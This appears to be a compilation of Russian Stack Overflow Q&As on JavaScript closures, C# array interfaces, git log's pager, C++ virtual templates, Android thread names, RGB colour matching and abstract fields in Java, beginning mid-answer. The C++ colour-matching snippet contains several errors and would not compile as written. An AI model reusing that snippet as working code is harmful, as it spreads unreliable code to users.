var x = 1; (function() { var x = 2; var y = 3; console.log("In: " + x); //In: 2 console.log("In: " + y); //In: 3 })(); console.log("Out: " + x); //Out: 1 console.log("Out: " + y); //ReferenceError: y is not defined
Например, можно использовать самовыполняющуюся функции для того, чтобы сохранять данные, необходимые для работы функции, и которые при этом нужно хранить между вызовами функции:
var test = (function() { var count = 0; return function() { count++; console.log("Count: " + count); }; })(); test(); //Count: 1 test(); //Count: 2 console.log(count); //ReferenceError: count is not defined
Переменная count недоступна в глобальной области видимости, однако доступна внутри возвращаемой функции, так как та объявлена внутри самовыполняющейся функции, и поэтому имеет доступ к её области видимости.

Также самовыполняющаяся функция может "помочь" с сохранением промежуточных значений данных при асинхронном выполнении кода.
Например:
for (var i = 0; i < 10; i++) { setTimeout(function() { console.log(i); }, 1000 * i); }
Данный код будет выводить в консоль раз в секунду не числа по возрастанию, а число 10, потому что на момент вызова первой функции в setTimeout глобальная переменная i уже будет равна 10 (сначала проходят все итерации цикла, а уже потом вызывается первая функция).
Если же обернуть setTimeout в функцию и передавать ей i в качестве аргумента, то вывод будет от 0 до 9
for (var i = 0; i < 10; i++) { (function(i) { setTimeout(function() { console.log(i); }, 1000 * i); })(i); }
В данном случае переменная i в setTimeout уже не является глобальной переменной и не зависит от её изменений. Однако тут не нужно забывать о том, что если переменная является объектом, то изменение значения поля объекта "снаружи" приведёт и к изменению значения поля объекта "внутри".

Кастинг массива к IReadOnlyCollection

Почему нижеследующий код работает?
int[] ixs = new int[10]; int cnt = ((IReadOnlyCollection)ixs).Count;
Как это вообще компилируется? Ведь у массива нет свойства Count (у него есть Length и LongLength), соответственно - он не должен приводиться к IReadOnlyCollection


Ответ

Свойства Count у массива и правда нету. Но для того, чтобы имплементировать интерфейс, оно и не нужно.
Есть такая штука в .NET — explicit interface implementation. Это когда класс имплементирует интерфейс, но не заводит метод с нужным именем. (Она и применяется в случае массива.)
Пример. Пусть у нас есть такой интерфейс:
interface I { void Run(); }
Тогда мы можем сделать так:
class C : I { public void Run() { ... } }
А можем и так:
class C : I { void I.Run() { ... } }
При этом интерфейс имплементирован в обоих случаях, но в первом случае у нас есть публичный метод Run, а во втором нету, и этот метод можно вызвать только через каст к нужному интерфейсу.

Для чего такая фича языка (explicit interface implementation) реально нужна? А вот для чего. Представьте себе, что вы хотите реализовать в классе два интерфейса, которые конфликтуют между собой, определяют функцию или свойство с одинаковым именем, которые нужно для разных интерфейсов реализовывать по-разному. Тогда вы можете написать две разные имплементации:
class C : IExecutioner, IAsyncModelObject { Task IExecutioner.Execute() { /* казним приговорённого */ } Task IAsyncModelObject.Execute() { /* начинаем работу в фоне */ } }

Любой массив в .NET произведён от System.Array. Самой имплементации конкретных массивов в исходниках фреймворка нету, она генерируется автоматически. Документация говорит:
Starting with the .NET Framework 2.0, the Array class implements the System.Collections.Generic.IList, System.Collections.Generic.ICollection, and System.Collections.Generic.IEnumerable generic interfaces. The implementations are provided to arrays at run time, and as a result, the generic interfaces do not appear in the declaration syntax for the Array class.
В реальности, начиная с .NET 4.5, добавлены тем же механизмом ещё два интерфейса: System.Collections.Generic.IReadOnlyList and System.Collections.Generic.IReadOnlyCollection. Все эти интерфейсы реализует не класс Array, а производные от него классы, представляющие собой массивы конкретного типа.
Посмотрим интерфейсы, реализуемые типом System.Array и конкретным типом массива int[]. Такой код:
foreach (var i in typeof(System.Array).GetInterfaces()) Console.WriteLine(i);
выдаёт
System.ICloneable System.Collections.IList System.Collections.ICollection System.Collections.IEnumerable System.Collections.IStructuralComparable System.Collections.IStructuralEquatable
В то же время
foreach (var i in typeof(int[]).GetInterfaces()) Console.WriteLine(i);
выдаёт
System.ICloneable System.Collections.IList System.Collections.ICollection System.Collections.IEnumerable System.Collections.IStructuralComparable System.Collections.IStructuralEquatable System.Collections.Generic.IList`1[System.Int32] System.Collections.Generic.ICollection`1[System.Int32] System.Collections.Generic.IEnumerable`1[System.Int32] System.Collections.Generic.IReadOnlyList`1[System.Int32] System.Collections.Generic.IReadOnlyCollection`1[System.Int32]
Итак, лишь конкретные массивы имплементируют IReadOnlyCollection, сам System.Array этого не делает.

Окей, но откуда же берётся сам код свойства? Заглянем в исходники .NET (Array -- базовый класс всех массивов) видим:
public abstract class Array : ICloneable, IList, IStructuralComparable, IStructuralEquatable { // ... int ICollection.Count { get { return Length; } }
Таким образом, свойства Count действительно нет, есть лишь свойство ICollection.Count, которое доступно только через каст к интерфейсу. Это показывает, откуда взялась реализация ICollection, но что же насчёт IReadOnlyCollection? Как правильно отмечает @andreycha в соседнем ответе, для реализации generic-интерфейсов используется немного компиляторной магии и класс SZArrayHelper
Из исходников
// This class is needed to allow an SZ array of type T[] to expose IList, // IList, etc., etc. all the way up to IList. When the following call is // made: // // ((IList) (new U[n])).SomeIListMethod() // // the interface stub dispatcher treats this as a special case, loads up SZArrayHelper, // finds the corresponding generic method (matched simply by method name), instantiates // it for type and executes it.
Перевод:
// Этот класс (SZArrayHelper) нужен, чтобы позволить массиву T[] имплементировать // IList, IList и т. д. аж до IList. если вызывается // // ((IList) (new U[n])).МетодИзIList() // // код, отвечающий за нахождение интерфейсов в классе считает это особым случаем, // загружает SZArrayHelper, находит соответствующий обобщённый метод (просто по имени) // инстанциирует его для нужного типа T и выполняет.
Это значит, что каст работает, но код реально находится в SZArrayHelper, и то, что этот код используется, гарантируется специальными трюками рантайма. Реальное место нахождения свойства Count — SZArrayHelper.get_Count

Как выйти из git log?

Написал в git git log Мне вывело несколько моих коммитов, и потом при нажатиии enter выходит ещё коммит, и так пока коммиты не закончатся. И даже после этого я не могу написать в гите другую команду, висит end. Приходится перезапускать git bash. Как выйти из лога коммитов?


Ответ

По-умолчанию Git посылает вывод своих комманд на программу-pager. По-умолчанию это программа less. Выйти из less можно пятью способами: qQ, q, Q и ZZ

Шаблонная виртуальная функция

Поясните, пожалуйста, почему нельзя создать виртуальную шаблонную функцию?
Нашел следующее объяснение
Member function templates cannot be declared virtual. This constraint is imposed because the usual implementation of the virtual function call mechanism uses a fixed-size table with one entry per virtual function. However, the number of instantiations of a member function template is not fixed until the entire program has been translated. Hence, supporting virtual member function templates would require support for a whole new kind of mechanism in C++ compilers and linkers. In contrast, the ordinary members of class templates can be virtual because their number is fixed when a class is instantiated
То есть теоретически такой функционал реализовать можно, но это потребует серьезного изменения принципов работы существующих компилятор и линковщиков. Или есть и другие причины?


Ответ

Простой ответ:
В С++ шаблон функции не является функцией, поэтому шаблон не может быть виртуальным.
В C#/Java/etc используются не шаблоны, а generics. Generic-функция это (одна) функция, поэтому там такой проблемы нет.
Сложный ответ:
В С++ виртуальные функции сделаны так, что их количество прописано в определении базового класса. Это позволяет присвоить функции некоторый индекс в базовом классе и быстро находить ее по этому индексу.
struct Base { func_t* vft; // скрытый член класса - массив виртуальных функций virtual void f(); };
Base* x = new Derived; x->f(); // компилируется в x->vft[0]();
Если шаблоны будут виртуальными, то вместо перечисления функций в базовом классе надо искать все подстановки шаблона при вызовах функции. Для этого вместо индексов надо использовать имена, и искать эти имена в хеш-таблице.
struct Base { hash_map vft; // скрытый член класса - хеш-таблица виртуальных функций template virtual void f(); };
Base* x = new Derived; x->f(); // компилируется в x->vft["f"]();
Скорость вызова значительно упадет, т.к. надо будет разрешать коллизии.
Можно использовать идеальную хеш-функцию (без коллизий).
struct Base { func_t* vft; // скрытый член класса - массив (sic!) виртуальных функций virtual void f(); };
Base* x = new Derived; x->f(); // компилируется в x->vft[ideal_hash("f")](); // ideal_hash(name) выдает индекс массива, без коллизий
Но из-за динамической линковки (.so/.dll) весь исходный код программы недоступен, и при каждой загрузке SO/DLL надо останавливать всю программу, менять хеш-функцию и перестраивать все таблицы, чтобы учитывались типы, которые добавились в этой SO/DLL.

Использование JIT-компилятора может заменять виртуальные вызовы на обычные, и тогда никаких проблем с производительностью вызова не будет.
// вместо x->f(); генерируется x->Derived::f(); // если доказано что тут может быть только Derived
Но девиртуализация работает только если количество классов мало, и на данный момент эффективных JIT-компиляторов нет. (Те что есть, например в LLVM, не показывают хороших результатов.)

Android Thread.name

Я работаю с потоками в своем проекте. Среди прочих потоков, в двух разных классах создается две HandlerThread таким вот образом:
HandlerThread thread = new HandlerThread("ServiceThread", Process.THREAD_PRIORITY_DEFAULT);
Дальше они стартуются: thread.start();, и я использую их луперы. И только что я обнаружил, что они создаются с абсолютно одинаковыми именами (первый параметр в конструкторе - имя). Мой вопрос состоит в том, могут ли быть проблемы из за того, что у потоков одинаковые имена? Являются ли имена какими-то идентификаторами для потоков?


Ответ

Не будет проблем.
При создании нового HandlerThread вызывается конструктор:
public HandlerThread(String name, int priority) { super(name); mPriority = priority; }
Идем вглубь и видим
if (threadName == null) { this.name = "Thread-" + id; } else { this.name = threadName }
Что и есть практическим подтверждением написанного в Javadoc
Каждый поток имеет имя в целях идентификации. Более чем один поток может иметь такое же имя . Если имя не указано , когда создается поток, новое имя генерируется для него.

Как отнести полученный цвет в RGB к основному

Есть набор цветов в формате RGB например "150 145 16", мне нужно узнать к какому основному цвет отнести и соответственно выполнить некие действия например: если это желтый или все его оттенки то выполнить некое действие. Проблема заключается в том что я не понимаю как можно отнести цвет к какому-то основному как в примере желтому. Если кратко то нужно следующее нужно определить к какому цвету из:
синий. зеленый красный желтый. фиолетовый коричневый. черный серый
Можно отнести полученный цвет в RGB. Нужно очень срочно, если есть куски кода или алгоритм или кто знает как можно такое сделать подскажите, пожалуйста.


Ответ

Самый простой способ — посчитать разницу между RGB-каналами образцов и тестового цвета. Примерно так:
// класс цвета class color { public: string _name; char _r, _g, _b;
// конструктор color (string name, char r, char g, char b) { _name = name; _r = r; _g = g; _b = b; }
// сравнение с другим цветом int distanceTo (color &another) { return (abs(another._r - _r) + abs(another._g - _g) + abs(another._b - _b)); } }
...
// набор цветов для сравнения vector sources; sources.push_back(color("red", 255, 0, 0)); sources.push_back(color("green", 0, 255, 0)); sources.push_back(color("blue", 0, 0, 255)); sources.push_back(color("yellow", 255, 255, 0)); sources.push_back(color("purple", 255, 0, 255)); sources.push_back(color("black", 0, 0, 0)); sources.push_back(color("white", 255, 255, 255));
// интересующий цвет color test("test", 64, 32, 32);
// лучшее совпадение color *best = nullptr; int dst = 1024;
// поиск for (auto it = sources.begin; it != sources.end(); it++) { int current = (*it).distanceTo(test); if (current < dst) { dst = current; best = *(*it); } }
// вывод ближайшего совпадения cout << "Best match: " << best->name << "
";

Более точный результат можно получить сравнивая цвета по оттенку, яркости и насыщенности. Но в большинстве случаев хватит и сравнения по обычным каналам.

Аналог абстрактных полей в Java

Есть абстрактный класс и в нем поле. Как в абстрактном классе добиться того, чтобы в классах наследниках мы были вынуждены задавать значение этого поля?


Ответ

На мой взгляд способ самый очевидный - через параметры конструктора абстрактного класса:
abstract class Foo {
private int var;
Foo(int var) { this.var = var; System.out.println("var = " + var); } }
И наследник:
class Bar extends Foo {
Bar() { super(42); } }
так же возможно объявлять методы абстрактными и использовать их в вашем классе:
abstract class Foo {
Foo() { int var = getVar(); System.out.println("var = " + var); }
abstract int getVar(); }
тогда тому кто будет реализовывать этот класс будет придется реализовать и этот метод:
class Bar extends Foo {
int getVar() { return 42; } }